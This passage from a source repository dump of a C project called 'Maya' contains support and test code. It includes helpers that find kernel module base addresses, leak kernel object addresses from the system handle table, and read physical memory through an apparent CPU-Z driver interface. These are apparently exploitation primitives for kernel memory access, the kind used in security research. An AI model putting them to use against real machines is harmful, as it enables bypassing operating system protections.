/* 217 | * supGetModuleBaseByName 218 | * 219 | * Purpose: 220 | * 221 | * Return module base address. 222 | * 223 | */ 224 | ULONG_PTR supGetModuleBaseByName( 225 | _In_ LPSTR ModuleName 226 | ) 227 | { 228 | ULONG_PTR ReturnAddress = 0; 229 | ULONG i, k; 230 | PRTL_PROCESS_MODULES miSpace; 231 | 232 | miSpace = supGetSystemInfo(SystemModuleInformation); 233 | if (miSpace != NULL) { 234 | for (i = 0; i < miSpace->NumberOfModules; i++) { 235 | k = miSpace->Modules[i].OffsetToFileName; 236 | if (_strcmpi_a( 237 | (CONST CHAR*)&miSpace->Modules[i].FullPathName[k], 238 | ModuleName) == 0) 239 | { 240 | ReturnAddress = (ULONG_PTR)miSpace->Modules[i].ImageBase; 241 | break; 242 | } 243 | } 244 | supHeapFree(miSpace); 245 | } 246 | return ReturnAddress; 247 | } 248 | 249 | /* 250 | * supQueryObjectFromHandle 251 | * 252 | * Purpose: 253 | * 254 | * Return object kernel address from handle in current process handle table. 255 | * 256 | */ 257 | BOOL supQueryObjectFromHandle( 258 | _In_ HANDLE hOject, 259 | _Out_ ULONG_PTR *Address, 260 | _Inout_opt_ USHORT *TypeIndex 261 | ) 262 | { 263 | BOOL bFound = FALSE; 264 | ULONG i; 265 | DWORD CurrentProcessId = GetCurrentProcessId(); 266 | 267 | PSYSTEM_HANDLE_INFORMATION_EX pHandles; 268 | 269 | if (Address == NULL) { 270 | return bFound; 271 | } 272 | 273 | *Address = 0; 274 | 275 | pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation); 276 | if (pHandles) { 277 | for (i = 0; i < pHandles->NumberOfHandles; i++) { 278 | if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) { 279 | if (pHandles->Handles[i].HandleValue == (USHORT)(ULONG_PTR)hOject) { 280 | *Address = (ULONG_PTR)pHandles->Handles[i].Object; 281 | if (TypeIndex) { 282 | *TypeIndex = pHandles->Handles[i].ObjectTypeIndex; 283 | } 284 | bFound = TRUE; 285 | break; 286 | } 287 | } 288 | } 289 | supHeapFree(pHandles); 290 | } 291 | return bFound; 292 | } 293 | 294 | /* 295 | * supCopyMemory 296 | * 297 | * Purpose: 298 | * 299 | * Copies bytes between buffers. 300 | * 301 | * dest - Destination buffer 302 | * cbdest - Destination buffer size in bytes 303 | * src - Source buffer 304 | * cbsrc - Source buffer size in bytes 305 | * 306 | */ 307 | void supCopyMemory( 308 | _Inout_ void *dest, 309 | _In_ size_t cbdest, 310 | _In_ const void *src, 311 | _In_ size_t cbsrc 312 | ) 313 | { 314 | char *d = (char*)dest; 315 | char *s = (char*)src; 316 | 317 | if ((dest == 0) || (src == 0) || (cbdest == 0)) 318 | return; 319 | if (cbdest < cbsrc) 320 | cbsrc = cbdest; 321 | 322 | while (cbsrc > 0) { 323 | *d++ = *s++; 324 | cbsrc--; 325 | } 326 | } 327 | -------------------------------------------------------------------------------- /src/Maya/sup.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: SUP.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #pragma once 19 | 20 | BOOL supWriteBufferToFile( 21 | _In_ LPWSTR lpFileName, 22 | _In_ PVOID Buffer, 23 | _In_ DWORD BufferSize); 24 | 25 | PVOID FORCEINLINE supHeapAlloc( 26 | _In_ SIZE_T Size); 27 | 28 | BOOL FORCEINLINE supHeapFree( 29 | _In_ PVOID Memory); 30 | 31 | PVOID supGetSystemInfo( 32 | _In_ SYSTEM_INFORMATION_CLASS InfoClass); 33 | 34 | ULONG_PTR supGetNtOsBase( 35 | VOID); 36 | 37 | ULONG_PTR supGetModuleBaseByName( 38 | _In_ LPSTR ModuleName); 39 | 40 | VOID supPrintText( 41 | _In_ LPWSTR lpText); 42 | 43 | VOID supShowError( 44 | _In_ DWORD LastError, 45 | _In_ LPWSTR Msg); 46 | 47 | BOOL supQueryObjectFromHandle( 48 | _In_ HANDLE hOject, 49 | _Out_ ULONG_PTR *Address, 50 | _Inout_opt_ USHORT *TypeIndex); 51 | 52 | void supCopyMemory( 53 | _Inout_ void *dest, 54 | _In_ size_t cbdest, 55 | _In_ const void *src, 56 | _In_ size_t cbsrc); 57 | -------------------------------------------------------------------------------- /src/Maya/test.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: TEST.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #include "global.h" 19 | 20 | void TestConvert() 21 | { 22 | WCHAR szBuffer[100]; 23 | 24 | PWCHAR text; 25 | ULONG_PTR phy = 0; 26 | 27 | _strcpy(szBuffer, TEXT("test message")); 28 | 29 | text = VirtualAlloc(NULL, 65536, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 30 | if (text) { 31 | 32 | if (VirtualToPhysical((ULONG_PTR)&szBuffer, &phy) != 0) 33 | { 34 | cpuz_readPhysicalMemory(phy, text, 64); 35 | supPrintText(text); 36 | } 37 | } 38 | MessageBox(GetDesktopWindow(), TEXT("Press OK to close"), TEXT(""), MB_OK); 39 | } 40 | -------------------------------------------------------------------------------- /src/Maya/test.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: TEST.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #pragma once 19 | 20 | void TestConvert(); 21 | --------------------------------------------------------------------------------